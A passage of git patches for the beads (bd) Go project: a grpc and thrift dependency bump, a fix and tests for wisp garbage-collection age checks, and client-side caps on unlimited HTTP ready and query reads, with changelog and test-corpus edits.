3b4178066..595887d92 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -41,7 +41,7 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or | Integration (`bazel-integration`) | `bazel test //... --config=integration` | The `integration`-tagged build. Runs with the read-only cache too. | | Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | | cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 32 shards of the integration-tagged cmd/bd suite (the slowest tests pinned to 16 of them). | -| Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. | +| Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. Also runs the served http tiers with `BEADS_HTTP_TEST_REQUIRED=1`: `//backend/http:http_served_test`, `//internal/httpclient:httpclient_served_test` and the command corpus `//backend/http/corpus:corpus_served_test`. | | Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 34 shards, each with a Dolt server. | | Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | | Docs | `make check-docs` | `//test/docsync:docsync_test` and `//scripts/repochecks:doc_freshness_test` in the test lane's configuration, then `scripts/check-doc-flags.sh` against the pinned release. | diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 41cab234f..31dd9fa3c 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -907,6 +907,12 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { []string{"$(rootpath :http_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", "BEADS_TEST_EMBEDDED_DOLT": "1"}, }, + // The served command corpus (backend/http/corpus/README.md), with the + // same switches as http_served_test. + "//backend/http/corpus:corpus_served_test": { + []string{"$(rootpath :corpus_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, + map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", "BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, "//cmd/bd:bd_proxied_test": { []string{"$(rootpath //:.github/scripts/proxied-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)"}, map[string]string{ From 7477ec1352d9380b692773bc3c2e66ae2e60ae37 Mon Sep 17 00:00:00 2001 From: "gascityinc-randy[bot]" <279382806+gascityinc-randy[bot]@users.noreply.github.com> Date: Sun, 11 Oct 2026 09:58:58 +0000 Subject: [PATCH 231/325] fix(deps): bump grpc to 1.83.2 and thrift to 0.24.0 (#7495) Resolve Dependabot alerts #146 (apache/thrift < 0.24.0) and #151 (google.golang.org/grpc <= 1.83.1) on the root module with the minimal bump: no other module moves, and both need only go 1.25, so the Nix flake stays on its current nixpkgs. Recompute default.nix vendorHash for the new go.sum. This lands the security fix independently of the Dolt 2.4.1 upgrade in #7441, which carries the same two bumps. Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5.5 (1M context) --- default.nix | 2 +- go.mod | 4 ++-- go.sum | 8 ++++---- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/default.nix b/default.nix index 8f5fdadf4..22a4bc8bf 100644 --- a/default.nix +++ b/default.nix @@ -19,7 +19,7 @@ buildGoModule { # proxyVendor avoids vendor/modules.txt consistency checks when the vendored # tree lags go.mod/go.sum. proxyVendor = true; - vendorHash = "sha256-9OqMZK3wL838RGOXuOsKZvcyqk43tCmv75EUo+iqSVQ="; + vendorHash = "sha256-IL80Qs9c7ZG17R/hRF6D+F6WVmGB0I+k60+nFuUpIJA="; # Match go.mod to the selected Nix Go toolchain. buildGoModule also builds # vendored dependencies in the Nix sandbox, where toolchain downloads are not diff --git a/go.mod b/go.mod index 8c47b11c6..96264246b 100644 --- a/go.mod +++ b/go.mod @@ -96,7 +96,7 @@ require ( github.com/aliyun/aliyun-oss-go-sdk v3.0.2+incompatible // indirect github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883 // indirect github.com/apache/arrow/go/arrow v0.0.0-20211112161151-bc219186db40 // indirect - github.com/apache/thrift v0.23.0 // indirect + github.com/apache/thrift v0.24.0 // indirect github.com/atotto/clipboard v0.1.4 // indirect github.com/aws/aws-sdk-go-v2 v1.41.5 // indirect github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.8 // indirect @@ -273,7 +273,7 @@ require ( google.golang.org/genproto v0.0.0-20260128011058-8636f8732409 // indirect google.golang.org/genproto/googleapis/api v0.0.0-20260819154853-08b0e4226688 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20260819154853-08b0e4226688 // indirect - google.golang.org/grpc v1.83.1 // indirect + google.golang.org/grpc v1.83.2 // indirect google.golang.org/protobuf v1.36.12 // indirect gopkg.in/go-jose/go-jose.v2 v2.6.3 // indirect gopkg.in/src-d/go-errors.v1 v1.0.0 // indirect diff --git a/go.sum b/go.sum index d3dd784cc..9489f5919 100644 --- a/go.sum +++ b/go.sum @@ -223,8 +223,8 @@ github.com/apache/arrow/go/arrow v0.0.0-20211112161151-bc219186db40 h1:q4dksr6IC github.com/apache/arrow/go/arrow v0.0.0-20211112161151-bc219186db40/go.mod h1:Q7yQnSMnLvcXlZ8RV+jwz/6y1rQTqbX6C82SndT52Zs= github.com/apache/thrift v0.0.0-20181112125854-24918abba929/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ= github.com/apache/thrift v0.14.2/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ= -github.com/apache/thrift v0.23.0 h1:wKR6YnefQSEnxpEfmgTPuJibNG4bF0p2TK34tHLWi3s= -github.com/apache/thrift v0.23.0/go.mod h1:zPt6WxgvTOM6hF92y8C+MkEM5LMxZuk4JcQOiU4Esvs= +github.com/apache/thrift v0.24.0 h1:zy31L1a49QTNB2bG1BBfMXol3yJrTH975G3pPubQVLQ= +github.com/apache/thrift v0.24.0/go.mod h1:zPt6WxgvTOM6hF92y8C+MkEM5LMxZuk4JcQOiU4Esvs= github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= github.com/aws/aws-sdk-go v1.15.27/go.mod h1:mFuSZ37Z9YOHbQEwBWztmVzqXrEkub65tZoCYDt7FT0= @@ -1720,8 +1720,8 @@ google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9K google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= -google.golang.org/grpc v1.83.1 h1:HIO0+BEtBP6soyqvqC8sNUjZ7bTs+0hFQuFF+RAy++Y= -google.golang.org/grpc v1.83.1/go.mod h1:kDyl6SKsiHKt0uylY5gtn5cEjkrIOhQOGDgIc4JGwzQ= +google.golang.org/grpc v1.83.2 h1:EManeRomTObA0BU7I8vXgg/78uE5MJ9M8B39EX2WscU= +google.golang.org/grpc v1.83.2/go.mod h1:YPI1hK3kDked6iHvgX3tR0y+nX/qpMFKhPgFsokw1S8= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= From bf7c19ccc465f587e130ae3571b7c97cfe8e9c2d Mon Sep 17 00:00:00 2001 From: Rongjun GENG Date: Mon, 12 Oct 2026 05:37:54 +0000 Subject: [PATCH 232/325] fix(wisp): bd mol wisp gc --age 0s no longer misses a just-created wisp (#7246) * fix(wisp): --age 0s treats every wisp as abandoned, even one Dolt rounded into the future (#7236) findAbandonedWisps compared now.Sub(issue.UpdatedAt) > ageThreshold unconditionally. Dolt's DATETIME(0) column rounds fractional seconds half-up on write rather than truncating: a wisp created in the second half of a wall-clock second can read back with updated_at up to 0.5s in the future, making the comparison negative and failing the check for a wisp that is, by definition, not yet one second old. --age 0s's own documented contract ("hasn't been updated in --age duration") means every wisp qualifies trivially -- nothing has been updated in the last zero seconds. Extracted the comparison into wispIsAbandoned(now, updatedAt, ageThreshold), which short-circuits true whenever ageThreshold <= 0, bypassing the clock comparison (and its rounding exposure) entirely for that case. New TestWispIsAbandoned is a pure, deterministic unit test -- the original TestCLI_WispGCExcludeType needs a live Dolt test container and the reporter's own 60 real runs against one could not reliably reproduce the race, so a timing-dependent regression test would be exactly as unreliable. Confirmed red against the old inline comparison (the two age-0s cases failed) before extracting the fix, green after. go build/vet/gofmt clean. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_0185qSpS74AbkmHoKRPf2yDD * chore: empty commit to retrigger mergeability recompute GitHub's mergeStateStatus has shown DIRTY/CONFLICTING since 2026-10-06, but a real `git merge --no-commit --no-ff` against current upstream/main auto-merges cleanly on all 3 touched files -- no actual conflict. This commit forces GitHub to recompute. Co-Authored-By: Claude Sonnet 5 * test(wisp): pin the gc call site and drop the 1ms age from the embedded test Folds the tests from #7472 into the #7236 fix. TestWispIsAbandoned pins the predicate. It cannot see whether findAbandonedWisps still decides age through it. TestFindAbandonedWisps AgesAtStoragePrecision drives findAbandonedWisps through a new wispGCNow clock seam with a wisp stored rounded into the future (written 12:00:00.7, stored 12:00:01): - --age 0s at 12:00:00.9 reclaims it. This fails against the old inline now.Sub(updated_at) > threshold. - --age 1h leaves it alone at that instant and reclaims it two hours later. - --age 1s at 12:00:01.5 leaves it alone: a positive threshold does not credit idle time that has not passed. TestWispGCProtectsActiveWisps ran gc with --age 1ms and relied on creation order to keep the most recently touched reclaimable wisp out of the rounding window. --age 0s states the intent ("every wisp is old enough") and is immune to the half-second rounding, so the ordering caveat goes. Co-authored-by: Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Eddie the Engineer Co-authored-by: Julian Knutsen --- CHANGELOG.md | 8 ++ cmd/bd/BUILD.bazel | 1 + cmd/bd/wisp.go | 28 ++++- cmd/bd/wisp_abandoned_test.go | 138 +++++++++++++++++++++++++ cmd/bd/wisp_gc_active_embedded_test.go | 18 ++-- 5 files changed, 179 insertions(+), 14 deletions(-) create mode 100644 cmd/bd/wisp_abandoned_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 2a4cb8a05..986e0cb64 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -433,6 +433,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 role through (see *Added*). A missing id is a plain not-found after one `getIssue`, instead of a partial-id search refusal, and `bd update --claim` answers a not-found gc classifies. +- **`bd mol wisp gc --age 0s` can miss a just-created wisp.** Dolt's + `DATETIME(0)` column rounds fractional seconds half-up on write rather + than truncating, so a wisp created in the second half of a wall-clock + second can read back with `updated_at` up to 0.5s in the future. The GC's + age check (`now.Sub(updatedAt) > ageThreshold`) then compares against a + negative duration and fails, even though `--age 0s`'s own contract is + that every wisp qualifies. `ageThreshold <= 0` now bypasses the clock + comparison entirely (#7236). - **PRs based on `hotfix/**` branches now run full CI, not just cross-version historical smokes and triage labeling.** `pr.yml`, `pr-risk.yml`, `conformance.yml`, `cross-version-smoke.yml` and diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 24364853d..6506f2bd3 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1267,6 +1267,7 @@ go_test( "where_cgo_test.go", "where_embedded_test.go", "where_test.go", + "wisp_abandoned_test.go", "wisp_gc_active_embedded_test.go", "wisp_gc_purge_closed_embedded_test.go", "wisp_proxied_integration_test.go", diff --git a/cmd/bd/wisp.go b/cmd/bd/wisp.go index a1b7ac27e..82d0ee530 100644 --- a/cmd/bd/wisp.go +++ b/cmd/bd/wisp.go @@ -822,6 +822,30 @@ func runWispGC(cmd *cobra.Command, args []string) error { return nil } +// wispIsAbandoned reports whether a wisp counts as abandoned for GC +// purposes: it has not been updated within ageThreshold of now. +// +// ageThreshold <= 0 (--age 0s and below) always reports true, bypassing +// the clock comparison entirely — this matches the GC's own documented +// contract ("hasn't been updated in --age duration"): nothing has been +// updated in the last zero seconds. It also matters for a reason the +// comparison alone does not handle: Dolt's DATETIME(0) column rounds +// fractional seconds half-up on write rather than truncating (#7236), so +// a wisp created in the second half of a wall-clock second can read back +// with updatedAt up to 0.5s in the future. now.Sub(updatedAt) is then +// negative, failing a strict > comparison for a wisp that is, by +// definition, not yet one second old — exactly what --age 0s's "every +// wisp qualifies" contract exists to avoid depending on in the first +// place. +func wispIsAbandoned(now, updatedAt time.Time, ageThreshold time.Duration) bool { + return ageThreshold <= 0 || now.Sub(updatedAt) > ageThreshold +} + +// wispGCNow is the clock seam for findAbandonedWisps' age check, swappable in +// tests. Both gc routes read it, so a test that swaps it must not call +// t.Parallel(). +var wispGCNow = time.Now + func findAbandonedWisps(ctx context.Context, r molReader, cleanAll bool, ageThreshold time.Duration, excludeTypes []types.IssueType) ([]*types.Issue, error) { ephemeralFlag := true filter := types.IssueFilter{ @@ -848,7 +872,7 @@ func findAbandonedWisps(ctx context.Context, r molReader, cleanAll bool, ageThre return nil, err } - now := time.Now() + now := wispGCNow() var abandoned []*types.Issue for _, issue := range issues { if r.IsInfraTypeCtx(ctx, issue.IssueType) { @@ -860,7 +884,7 @@ func findAbandonedWisps(ctx context.Context, r molReader, cleanAll bool, ageThre if isProtectedWisp(issue, blockedSet, protectedStatuses) { continue } - if now.Sub(issue.UpdatedAt) > ageThreshold { + if wispIsAbandoned(now, issue.UpdatedAt, ageThreshold) { abandoned = append(abandoned, issue) } } diff --git a/cmd/bd/wisp_abandoned_test.go b/cmd/bd/wisp_abandoned_test.go new file mode 100644 index 000000000..e18c3397a --- /dev/null +++ b/cmd/bd/wisp_abandoned_test.go @@ -0,0 +1,138 @@ +package main + +import ( + "context" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" +) + +// TestWispIsAbandoned pins the #7236 fix: --age 0s (ageThreshold <= 0) must +// treat every wisp as abandoned regardless of its updatedAt, including a +// wisp whose stored updatedAt reads back AFTER now — the shape Dolt's +// DATETIME(0) half-up rounding on write produces for a wisp created in the +// second half of a wall-clock second (#7236). Before this fix, that case +// failed the strict now.Sub(updatedAt) > ageThreshold comparison because +// the difference is negative. +func TestWispIsAbandoned(t *testing.T) { + now := time.Date(2026, 1, 1, 12, 0, 0, 0, time.UTC) + + cases := []struct { + name string + updatedAt time.Time + age time.Duration + want bool + }{ + { + name: "age 0s: a wisp updated exactly now is abandoned", + updatedAt: now, + age: 0, + want: true, + }, + { + name: "age 0s: a wisp whose stored updatedAt rounded into the future is still abandoned", + updatedAt: now.Add(500 * time.Millisecond), + age: 0, + want: true, + }, + { + name: "a negative age behaves like zero", + updatedAt: now.Add(500 * time.Millisecond), + age: -time.Second, + want: true, + }, + { + name: "positive age: a fresh wisp is not abandoned", + updatedAt: now, + age: time.Hour, + want: false, + }, + { + name: "positive age: a wisp past the threshold is abandoned", + updatedAt: now.Add(-2 * time.Hour), + age: time.Hour, + want: true, + }, + { + name: "positive age: exactly at the threshold is not abandoned (strict >, unchanged)", + updatedAt: now.Add(-time.Hour), + age: time.Hour, + want: false, + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := wispIsAbandoned(now, tc.updatedAt, tc.age); got != tc.want { + t.Errorf("wispIsAbandoned(%v, %v, %v) = %v, want %v", now, tc.updatedAt, tc.age, got, tc.want) + } + }) + } +} + +// fixedWispsMolReader serves findAbandonedWisps a fixed set of wisps with +// nothing blocked, no custom statuses and no dependents. It embeds the +// molReader INTERFACE, so a read the age scan does not make today panics +// rather than quietly answering zero. +type fixedWispsMolReader struct { + molReader + wisps []*types.Issue +} + +func (r fixedWispsMolReader) SearchIssues(context.Context, string, types.IssueFilter) ([]*types.Issue, error) { + return r.wisps, nil +} +func (fixedWispsMolReader) GetBlockedIssues(context.Context, types.WorkFilter) ([]*types.BlockedIssue, error) { + return nil, nil +} +func (fixedWispsMolReader) GetCustomStatusesDetailed(context.Context) ([]types.CustomStatus, error) { + return nil, nil +} +func (fixedWispsMolReader) IsInfraTypeCtx(context.Context, types.IssueType) bool { return false } +func (fixedWispsMolReader) FindWispDependentsRecursive(context.Context, []string) (map[string]bool, error) { + return nil, nil +} + +// TestFindAbandonedWispsAgesAtStoragePrecision pins the call site that +// TestWispIsAbandoned cannot see: findAbandonedWisps must decide age through +// wispIsAbandoned. A wisp written at 12:00:00.7 is stored as 12:00:01, and a +// gc at 12:00:00.9 with --age 0s must still reclaim it; the raw +// now.Sub(updated_at) > threshold that #7236 replaced reads -100ms and misses +// it. A one-hour threshold must leave the same wisp alone at that instant and +// reclaim it two hours later, so dropping the age check fails too. --age 1s +// at 12:00:01.5 must leave it alone: only half a second has passed since the +// stored second, so a positive threshold never credits idle time that has +// not elapsed. +func TestFindAbandonedWispsAgesAtStoragePrecision(t *testing.T) { + base := time.Date(2026, 10, 10, 12, 0, 0, 0, time.UTC) + wisp := &types.Issue{ + ID: "gc-idle", + Status: types.StatusOpen, + IssueType: types.TypeTask, + Ephemeral: true, + UpdatedAt: base.Add(700 * time.Millisecond).Round(time.Second), // 12:00:01 + } + old := wispGCNow + t.Cleanup(func() { wispGCNow = old }) + + for _, tc := range []struct { + now time.Time + threshold time.Duration + want int + }{ + {base.Add(900 * time.Millisecond), 0, 1}, + {base.Add(900 * time.Millisecond), time.Hour, 0}, + {base.Add(2 * time.Hour), time.Hour, 1}, + {base.Add(1500 * time.Millisecond), time.Second, 0}, + } { + wispGCNow = func() time.Time { return tc.now } + got, err := findAbandonedWisps(context.Background(), fixedWispsMolReader{wisps: []*types.Issue{wisp}}, false, tc.threshold, nil) + if err != nil { + t.Fatalf("findAbandonedWisps(--age %s): %v", tc.threshold, err) + } + if len(got) != tc.want { + t.Errorf("findAbandonedWisps(--age %s) at %s, updated_at 12:00:01: got %d wisps, want %d", + tc.threshold, tc.now.Format("15:04:05.000"), len(got), tc.want) + } + } +} diff --git a/cmd/bd/wisp_gc_active_embedded_test.go b/cmd/bd/wisp_gc_active_embedded_test.go index 3d62d9f93..7ab85a319 100644 --- a/cmd/bd/wisp_gc_active_embedded_test.go +++ b/cmd/bd/wisp_gc_active_embedded_test.go @@ -28,14 +28,6 @@ func TestWispGCProtectsActiveWisps(t *testing.T) { // category. "reviewing" is wip (protected); "triaging" is active, which // behaves like plain open and stays reclaimable — that pair also guards // against the predicate degenerating into "protect everything". - // - // Ordering matters: every wisp expected to be RECLAIMED is created and - // last-touched first, before the protected ones. The age predicate is - // now.Sub(updated_at) > threshold against a timestamp written by the - // database, so the most recently touched bead can briefly appear - // not-yet-stale if the DB clock runs ahead of the test process. Protected - // wisps are excluded regardless of age, so only the reclaimable - // assertions are sensitive to this. bdCommand(t, bd, dir, "config", "set", "status.custom", "reviewing:wip,triaging:active") // Genuinely abandoned: an idle open ephemeral wisp. Must be reclaimed. @@ -66,10 +58,12 @@ func TestWispGCProtectsActiveWisps(t *testing.T) { customWIP := bdCreate(t, bd, dir, "custom wip step", "--ephemeral").ID bdCommand(t, bd, dir, "update", customWIP, "--status", "reviewing") - // Every wisp above was created well over 1ms ago by the time gc runs, so a - // 1ms threshold makes them all "stale" by updated_at. Only the genuinely - // abandoned ones should be reclaimed. - out := bdCommand(t, bd, dir, "mol", "wisp", "gc", "--age", "1ms", "--dry-run", "--json") + // --age 0s makes every wisp above old enough to reclaim. Any positive --age + // can leave the most recently touched one reading as too young, because + // updated_at is stored at whole-second precision and Dolt rounds the write + // up to half a second into the future (#7236). Protection is checked + // before age, so only the genuinely abandoned ones should be reclaimed. + out := bdCommand(t, bd, dir, "mol", "wisp", "gc", "--age", "0s", "--dry-run", "--json") var res struct { CleanedIDs []string `json:"cleaned_ids"` From b630f96f5bd231ff7aea78af0d47b6038f228d00 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 12 Oct 2026 09:02:22 +0000 Subject: [PATCH 233/325] fix(httpclient): unlimited ready/query/list reads over http, client-capped (S15) (#7497) * fix(httpclient): unlimited ready/query/list reads over http, client-capped An unlimited read never puts limit=0 on the wire, which a non-loopback bd serve refuses ("unlimited reads are loopback-only"): - bd ready --limit 0 (the WorkFilter bridge) sent no limit at all, so the server's 100-row ready default silently capped every routed-pool queue. - Reader.Ready and Querier.Query with Limit 0 sent limit=0 and got a 400 from a non-loopback server. listReadyWork and queryIssues publish no cursor, so an unlimited read is one request bounded at the client cap plus one (one server read, so one snapshot). listIssues keeps its cursor walk, now bounded by the same cap (per-page reads; the snapshot semantics are documented in unlimited_read.go). Past BEADS_HTTP_UNLIMITED_READ_CAP (default 10000) the read is refused with *UnlimitedReadCapError, never truncated; a server that reports has_more below the requested bound is refused the same way. A dispatch tripwire refuses limit=0 on the three listing operations, so a new path that forgets fails loudly instead of only off loopback. Served tests run against a server in --allow-non-loopback mode with 150 rows: ready (role, bridge, bridge+total), query and list at limit 0 return every row with a bounded limit on every request, and the cap refuses with the typed error. Co-Authored-By: Claude Opus 5.5 * test(backend/http/corpus): drop the three marks S15 retires With unlimited reads served (one request bounded at the cap plus one for ready and query), gc-ready-unlimited, gc-ready-pool-demand-unlimited and gc-query-wisps-unlimited return every row on the reference profile instead of the server's default page or the loopback-only refusal. mc-list-id stays pending on S15b (--id). Co-Authored-By: Claude Opus 5.5 * docs(changelog): unlimited reads over http and BEADS_HTTP_UNLIMITED_READ_CAP Co-Authored-By: Claude Opus 5.5 * fix(httpclient): uncap the list walk and bound the ready-count fallback Review fixes for #7497 (review loop iterations 1 and 2). F1 (major): the client cap no longer applies to an unlimited list. listIssues publishes a keyset cursor, so no response is larger than a page; the walk is back to base, bounded only by --max-rows / BEADS_MAX_ROWS as on every local backend. The cap stays on the cursorless reads (ready, query), whose whole answer is one response the server buffers. The CHANGELOG, unlimited_read.go and the env doc say so. F2 (major): externaldeps.CountReadyWork's no-counter fallback, which an http store reaches whenever its server does not apply the external-dependency policy (every released server), asked for the whole ready set to report one number: over http, up to the cap's full rows, and a refusal past it that text `bd ready` swallows into a missing footer. It now asks for a one-row Lite page; the bridge pairs it with the server's countReadyWork, and refetchedReadyTotal still sizes the externally blocked case. F3: TestCheckUnlimitedPage pins a full cap+1 page that also reports has_more as the cap's refusal, not a truncation, and the env test accepts the inclusive 1000000 bound. Served: the cap test adds the unlimitedRows-2 case (the server's 149 rows with has_more), the list is pinned as uncapped with MaxRows its only bound, and the bridge's MaxRows-vs-cap precedence is pinned with the limit on the wire. F5: readyBridgePage sends MaxRows+1 rather than cap+1 when MaxRows is the tighter bound (tightenUnlimitedPage). The MaxRows check still runs first, so an answer past it keeps its *ErrTooManyRows attribution. F6: the decorator and test comments describe the cap+1 bound; the refusal reads "narrow the query or raise BEADS_HTTP_UNLIMITED_READ_CAP"; the Ready and Query Limit contracts name the http exception; mc-list-id's pending reason drops the S15 --limit 0 clause and keeps the --id refusal. F7: unlimited_read.go states that the tripwire guards Store.dispatch only, so a direct wire.Client caller (readyClaimPage) must send a positive limit itself. Not taken: F4 (an unlimited walk that meets has_more with no cursor ends as a success rather than a ServerTruncated refusal). After F1 the walk is base code again, the shape needs a skewed or older peer, and the change would land in fetchIssuePages (cyclomatic 21, cognitive 34), turning an untouched base function into a changed one in the major complexity band. Left as a follow-up. Iteration 2, N1: F5 reached only the raw bridge. `bd ready` reads through the external-dependency decorator, and against a server that leaves that policy to the client, one externally blocked issue made readyExclusion take MaxRows off the unlimited inner query. The bridge then asked for cap+1 rows: past the cap it refused with the read cap's error (exit 1, "raise BEADS_HTTP_UNLIMITED_READ_CAP") rather than --max-rows' (exit 2), and under it fetched the whole ready set to refuse on the rows kept. An unlimited inner query now keeps MaxRows plus one row per blocked issue: past that many rows more than MaxRows are kept whatever the drop takes, so the bridge sizes the request by it under the cap, and innerCapError hands the refusal back as the caller's own cap. The suggested inner Limit of MaxRows+blocked+1 was not taken: a bounded request skips the cap and its server-truncation check, so with any external blocker a --max-rows above the cap would fetch past it. TestServedReadyBridgeMaxRowsSizesTheRequest pins the request and the refusal through externaldeps.New with one blocker, the cap still in force past MaxRows plus the blocked rows; TestServedReadyMaxRowsCountsTheRowsKept adds an unlimited case whose refusal names the caller's cap on all three decorator reads. N4: QueryRequest.Limit's "NOTHING BACKSTOPS IT" names the http exception in its lead, as ReadyRequest.Limit does. Not taken in iteration 2, as non-gating follow-ups: N2 (refetchedReadyTotal's Limit = total+blocked read sits outside the cap; pre-existing), N3 (the list walk's has_more-without-cursor end, the deferred F4), N5 (prefixing the malformed-cap error with its operation; it already names the variable and its value). Validation: the served tier (BEADS_TEST_EMBEDDED_DOLT=1 BEADS_HTTP_TEST_REQUIRED=1) for internal/httpclient and the command corpus; go test for externaldeps, issueops and workapi. Each new test was mutation-checked red: the zero-limit count, the tightening removed, the MaxRows check removed, the PR's list cap restored, and a cap+1 has_more page read as a truncation. Iteration 2: the served internal/httpclient ready, unlimited-read and external-policy tests (34 PASS, 0 SKIP) and go test for externaldeps, issueops and workapi; the new pins go red with MaxRows taken off again (the pre-fix code), with no re-attribution, with no growth by the blocked rows, with the suggested inner Limit, and with Found left unadjusted. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 16 + backend/http/corpus/testdata/corpus.yaml | 5 +- internal/httpclient/BUILD.bazel | 3 + internal/httpclient/bridge.go | 14 + internal/httpclient/dispatch.go | 5 + internal/httpclient/encode/encode.go | 3 + internal/httpclient/role_querier.go | 9 + internal/httpclient/role_reader.go | 11 + .../served_external_dependency_policy_test.go | 41 +- .../httpclient/served_unlimited_read_test.go | 511 ++++++++++++++++++ internal/httpclient/unlimited_read.go | 195 +++++++ internal/httpclient/unlimited_read_test.go | 128 +++++ internal/storage/externaldeps/decorator.go | 73 ++- .../storage/externaldeps/decorator_test.go | 75 ++- issueops/querier.go | 25 +- issueops/reader.go | 4 +- 16 files changed, 1060 insertions(+), 58 deletions(-) create mode 100644 internal/httpclient/served_unlimited_read_test.go create mode 100644 internal/httpclient/unlimited_read.go create mode 100644 internal/httpclient/unlimited_read_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 986e0cb64..3eea684e1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -190,6 +190,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 multi-tenant embedder serving many workspaces needs, where a process-global credential cannot stand in for one tenant's own. EXPERIMENTAL, pin an exact beads version. +- Unlimited ready and query reads over the HTTP backend (`bd ready --limit + 0`, `bd query --limit 0`, and every library read asking for no limit) + return every row against any server, bounded on the client by the new + `BEADS_HTTP_UNLIMITED_READ_CAP` (a positive integer up to 1000000; default + 10000). The client never puts `limit=0` on the wire, which a `bd serve + --allow-non-loopback` refuses and which an older server answered with its + default page, silently capping the result: an unlimited ready or query + read is one request bounded at the cap plus one (one consistent snapshot). + Past the cap, or when a server reports more rows below the requested + bound, the read is refused with a typed error + (`httpclient.ErrUnlimitedReadCap`) naming the cap, never truncated. An + unlimited `bd list` is unchanged: it walks its keyset cursor a page at a + time and is bounded only by `--max-rows` / `BEADS_MAX_ROWS`. Unlike a + malformed `BEADS_MAX_ROWS`, which is ignored with a warning, a malformed + cap value fails every unlimited ready or query read rather than falling + back to the default. ### Changed diff --git a/backend/http/corpus/testdata/corpus.yaml b/backend/http/corpus/testdata/corpus.yaml index ded7e9e30..99a9a9c8b 100644 --- a/backend/http/corpus/testdata/corpus.yaml +++ b/backend/http/corpus/testdata/corpus.yaml @@ -179,7 +179,6 @@ shapes: source: gc bdstore.go bdReadyArgs (BdStore.Ready, ready --json --limit 0) args: [ready, --json, --limit, "0"] compare: ids - pending: {slice: "S15", reason: "ready --limit 0 omits limit and the server default page silently caps the answer (B3 #2)"} - id: gc-ready-ephemeral-assignee-unlimited source: gc bdstore.go bdReadyArgs with --include-ephemeral --assignee args: [ready, --json, --include-ephemeral, --assignee, worker, --limit, "0"] @@ -192,7 +191,6 @@ shapes: source: gc workquery.go bdReadyPoolDemandShell (work_query, --include-ephemeral --limit 0) args: [ready, --include-ephemeral, --metadata-field, gc.routed_to=pool-a, --unassigned, --exclude-type=epic, --exclude-label, "hold:mayor", --exclude-label, "hold:external", --json, --limit, "0"] compare: ids - pending: {slice: "S15", reason: "ready --limit 0 silently capped by the server's default page (B3 #2)"} - id: gc-ready-workflow-migration source: gc workquery.go bdReadyPoolDemandMigrationShell (--sort oldest --limit 0) args: [ready, --include-ephemeral, --metadata-field, gc.run_target=pool-a, --metadata-field, 